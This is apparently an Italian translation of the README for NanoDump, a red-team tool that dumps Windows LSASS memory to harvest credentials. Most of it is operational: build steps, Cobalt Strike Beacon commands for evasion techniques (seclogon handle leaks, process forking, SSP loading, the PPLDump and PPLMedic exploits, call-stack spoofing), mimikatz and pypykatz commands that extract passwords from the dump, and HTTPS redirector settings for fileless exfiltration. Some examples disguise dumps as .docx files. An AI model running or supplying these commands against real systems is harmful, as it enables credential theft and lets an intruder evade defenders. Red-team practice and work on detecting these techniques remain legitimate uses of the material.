NanoDump

Uno strumento flessibile che crea un minidump del processo LSASS.

Indice

1. Utilizzo
2. Caratteristiche
3. Tecniche combinate
4. Esempi
5. Reindirizzatori HTTPS

1. Utilizzo

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Clona

git clone https://github.com/fortra/nanodump.git

Compila (opzionale)

Su Linux con MinGW

make -f Makefile.mingw

Su Windows con MSVC (nessun supporto BOF)

nmake -f Makefile.msvc

Importa (solo CobaltStrike)

Importa lo script NanoDump.cna su Cobalt Strike.

Esegui

Esegui il comando nanodump nella console Beacon o il binario nanodump.x64.exe.

Ripristina la firma

Se non hai specificato il flag --valid, devi ripristinare la firma non valida

scripts/restore_signature <dumpfile>

Ottieni i segreti

mimikatz:
Per ottenere i segreti, esegui semplicemente:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Se preferisci rimanere su Linux, puoi usare la versione Python3 di mimikatz chiamata pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. Caratteristiche

Fork del processo

Per evitare di aprire un handle a LSASS con PROCESS_VM_READ, puoi usare il parametro --fork.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei un 'clone' del processo. Questo nuovo processo verrà poi dumpato. Sebbene ciò comporti la creazione e la cancellazione di un processo, elimina la necessità di leggere LSASS direttamente.

Snapshot

Analogamente all'opzione --fork, puoi usare --snapshot per creare uno snapshot del processo LSASS.
Questo farà sì che nanodump crei un handle a LSASS con accesso PROCESS_CREATE_PROCESS e poi crei uno snapshot del processo usando PssNtCaptureSnapshot. Questo nuovo processo verrà poi dumpato. Lo snapshot verrà liberato automaticamente al completamento.

Duplicazione dell'handle

Poiché l'apertura di un handle a LSASS può essere rilevata, nanodump può invece cercare handle esistenti a LSASS.
Se ne viene trovato uno, lo copierà e lo userà per creare il minidump.
Nota che non è garantito trovare tale handle.

Eleva handle

Puoi ottenere un handle a LSASS con PROCESS_QUERY_LIMITED_INFORMATION, che probabilmente è nella whitelist, e poi elevare quell'handle duplicandolo.

Perdita handle locale di Seclogon

Per evitare di aprire un handle a LSASS, puoi abusare del servizio seclogon chiamando CreateProcessWithLogonW per far trapelare un handle LSASS nel binario nanodump.
Per abilitare questa funzionalità, usa il parametro --seclogon-leak-local.
Tieni presente che, quando usato da Cobalt Strike, un binario nanodump non firmato deve essere scritto su disco per utilizzare questa funzionalità.

Perdita handle remota di Seclogon

Questa tecnica è molto simile alla precedente, ma invece di far trapelare l'handle in nanodump, viene fatto trapelare in un altro binario e poi duplicato in modo che nanodump possa usarlo. Usa il flag --seclogon-leak-remote per accedere a questa funzionalità.

Duplicazione dell'handle di Seclogon

Puoi ingannare il processo seclogon in modo che apra un handle a LSASS e lo duplichi prima che venga chiuso, vincendo una race condition usando lock sui file. Usa il flag --seclogon-duplicate per accedere a questa funzionalità.

Carica nanodump come SSP

Puoi caricare nanodump come SSP in LSASS per evitare di aprire un handle.
Quando la DLL è stata caricata in LSASS, i parametri verranno passati tramite una named pipe e, una volta completato il dump, DllMain restituirà FALSE per fare in modo che LSASS scarichi la DLL nanodump.
Puoi hardcodare i parametri nella DLL ed evitare del tutto l'uso della named pipe con il flag del compilatore PASS_PARAMS_VIA_NAMED_PIPES=0.

Carica e avvia una DLL nanodump

Per impostazione predefinita, una DLL nanodump non firmata verrà caricata nella cartella Temp, che verrà eliminata automaticamente.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Se vuoi caricare una DLL preesistente, puoi eseguire:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Exploit PPL Dump

Nota che questa vulnerabilità è stata corretta nel pacchetto di aggiornamento di luglio 2022 (Windows 10 21H2 Build 19044.1826)

Per accedere a questa funzionalità, usa il comando nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Exploit PPL Medic

Per accedere a questa funzionalità, usa il comando nanodump_ppl_medic

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Poiché il dump non è realizzato da nanodump, avrà sempre una firma valida.

Silent Process Exit

Per sfruttare la tecnica Silent Process Exit, usa il parametro --silent-process-exit e il percorso in cui creare il dump.

beacon> nanodump --silent-process-exit C:\Windows\Temp\

Verrà creato anche un dump del processo nanodump, simile a questo:

PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Puoi anche usare la tecnica Shtinkering, che richiede che nanodump sia eseguito con privilegi SYSTEM:

beacon> nanodump --shtinkering

Il dump verrà tipicamente creato in C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps

Spoof dello callstack

Puoi aprire un handle a LSASS con uno stack di chiamate falso per rendere la chiamata di funzione un po' più legittima (soprattutto se eseguito come BOF).
Per accedere a questa funzionalità, usa il parametro --spoof-callstack.

3. Tecniche combinate

Puoi combinare molte tecniche per personalizzare il funzionamento di nanodump.
La tabella seguente indica quali flag possono essere usati insieme.

4. Esempi

Leggi LSASS indirettamente creando un fork e scrivi il dump su disco con una firma non valida:

beacon> nanodump --fork --write C:\lsass.dmp

Usa seclogon leak remote per far trapelare un handle LSASS in un processo notepad, duplica quell'handle per ottenere accesso a LSASS, poi leggilo indirettamente creando un fork e scarica il dump con una firma valida:

beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid

Ottieni un handle con seclogon leak local, leggi LSASS indirettamente usando un fork e scrivi il dump su disco con una firma valida (verrà caricato un binario nanodump!):

beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp

Scarica il dump con una firma non valida (predefinito):

beacon> nanodump

Duplica un handle esistente e scrivi il dump su disco con una firma non valida:

beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx

Ottieni il PID di LSASS:

beacon> nanodump --getpid

Carica nanodump in LSASS come SSP (verrà caricato un binario nanodump!):

beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp

Dumpa LSASS bypassando PPL usando l'exploit PPLDump, duplicando l'handle che csrss.exe ha su LSASS:

beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp

Dumpa LSASS bypassando PPL usando l'exploit PPLMedic, aprendo un handle con privilegi bassi a LSASS e poi elevandolo:

beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp

Inganna seclogon in modo che apra un handle a LSASS e lo duplichi, poi scarica il dump con una firma non valida:

beacon> nanodump --seclogon-duplicate

Fai in modo che il processo WerFault.exe crei un dump completo della memoria nella cartella Temp:

beacon> nanodump --werfault C:\Windows\Temp\

Apri un handle a LSASS con uno stack di chiamate falsificato e scarica il minidump con una firma non valida:

beacon> nanodump --spoof-callstack

Usa la tecnica Shtinkering:

beacon> nanodump --shtinkering

Ottieni un handle usando seclogon leak local e crea il dump usando la tecnica Shtinkering:

beacon> nanodump --seclogon-leak-local --shtinkering

Ottieni un handle con privilegi bassi ed elevalo usando elevate handle:

beacon> nanodump --elevate-handle

Ottieni un handle con privilegi bassi usando uno stack di chiamate falsificato ed elevalo usando elevate handle:

beacon> nanodump --elevate-handle --spoof-callstack

Duplica un handle esistente con privilegi bassi ed elevalo usando elevate handle:

beacon> nanodump --duplicate-elevate

5. Reindirizzatori HTTPS

Se stai usando un reindirizzatore HTTPS (come dovresti), potresti incontrare problemi durante il download del dump senza file a causa della dimensione delle richieste che perdono il dump.
Aumenta la dimensione massima delle richieste sul tuo server web per permettere a nanodump di scaricare il dump.

NGINX

location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

<Directory "...">
    LimitRequestBody  52428800
</Directory>

Crediti

• skelsec per aver scritto minidump, che è stato fondamentale per imparare il formato del file minidump.
• freefirex da CS-Situational-Awareness-BOF presso Trustedsec per molti trucchi interessanti per i BOF
• Jackson_T per SysWhispers2
• BillDemirkapi per Process Forking
• Antonio Cocomazzi per Abusing leaked handles to dump LSASS memory e Racing for LSASS dumps
• xpn per Exploring Mimikatz - Part 2 - SSP
• Matteo Malvica per Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start
• James Forshaw per Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege
• itm4n per le implementazioni originali degli exploit PPL in userland, PPLDump e PPLMedic.
• Asaf Gilboa per Lsass Memory Dumps are Stealthier than Ever Before - Part 2 e la tecnica Shtinkering